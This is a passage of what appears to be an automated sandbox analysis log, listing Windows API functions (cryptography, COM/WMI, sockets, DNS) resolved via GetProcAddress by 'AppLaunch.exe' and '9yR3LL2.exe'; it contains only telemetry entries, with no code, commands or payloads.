"AppLaunch.exe" called "GetProcAddress" with a parameter CPGenKey (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDeriveKey (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyKey (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetKeyParam (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetKeyParam (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPExportKey (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPImportKey (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPEncrypt (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDecrypt (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPCreateHash (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPHashData (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPHashSessionKey (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyHash (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSignHash (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPVerifySignature (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenRandom (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetUserKey (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetProvParam (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetProvParam (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetHashParam (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetHashParam (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateKey (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateHash (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmCreateContext (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmDestroyContext (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmNotifyIME (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringA (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringA (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmSetCandidateWindow (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter AdjustWindowRectEx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter DefWindowProcW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterClass (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterClassW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateWindowEx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateWindowExW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SetWindowLong (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SetWindowLongW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetWindowLong (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetWindowLongW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CallWindowProc (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CallWindowProcW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetClientRect (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetParent (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptExportKey (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGetHashParam (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter _calloc_base (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSListHead (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SetProcessDPIAware (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter PathAppendW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter DWriteCreateFactory (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter PathCombineW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GdiEntry13 (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptAcquireContextA (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter IIDFromString (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CLSIDFromOle1Class (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCatalogObject (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCatalogObject2 (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter EtwRegisterTraceGuidsW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetObjectContext (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ResetSecurity (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SetSecurity (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter BlessIWbemServices (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter BlessIWbemServicesObject (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetPropertyHandle (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter WritePropertyValue (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter Clone (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter VerifyClientKey (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetQualifierSet (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter Get (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter Put (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter Delete (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetNames (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter BeginEnumeration (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter Next (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter EndEnumeration (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetPropertyQualifierSet (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetObjectText (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SpawnDerivedClass (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SpawnInstance (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareTo (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetPropertyOrigin (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter InheritsFrom (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetMethod (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter PutMethod (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter DeleteMethod (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter BeginMethodEnumeration (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter NextMethod (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter EndMethodEnumeration (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetMethodQualifierSet (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetMethodOrigin (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_Get (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_Put (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_Delete (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_GetNames (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_BeginEnumeration (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_Next (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_EndEnumeration (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentApartmentType (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetDemultiplexedStub (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateInstanceEnumWmi (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateClassEnumWmi (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ExecQueryWmi (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ExecNotificationQueryWmi (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter PutInstanceWmi (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter PutClassWmi (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CloneEnumWbemClassObject (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ConnectServerWmi (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetErrorInfo (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter Initialize (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CoUnmarshalInterface (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CoReleaseMarshalData (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetPSClsid (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter DcomChannelSetHResult (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CoCreateFreeThreadedMarshaler (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemDefaultLocaleName (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SysStringLen (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter RtlZeroMemory (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SetClassLong (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SetClassLongW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter PostMessage (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter PostMessageW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter UnregisterClass (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter UnregisterClassW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter free (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter __std_type_info_destroy_list (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter _free_base (UID: 00000000-00003376) "9yR3LL2.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004060) "9yR3LL2.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00004060) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcStringBindingComposeW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcBindingFromStringBindingW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcBindingSetAuthInfoExW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcBindingSetOption (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcStringFreeW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHOpenSocket2 (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHJoinLeaf (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHNotify (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetSocketInformation (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHSetSocketInformation (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetSockaddrType (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetWildcardSockaddr (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetBroadcastSockaddr (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHAddressToString (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHStringToAddress (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHIoctl (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSAStringToAddressW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSPStartup (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter UrlCanonicalizeW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter StrCmpNW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter NdrClientCall2 (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHOpenSocket (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProductInfo (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter InitSecurityInterfaceW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter InitSecurityInterfaceA (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter SystemFunction035 (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHEnumProtocols (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetProviderGuid (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetWSAProtocolInfo (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetWinsockMapping (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcBindingFree (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter NSPStartup (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsQueryConfigAllocEx (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsNameCompare_W (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsApiAlloc (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsQueryExW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentThreadCompartmentId (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSAttemptAutodialAddr (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with 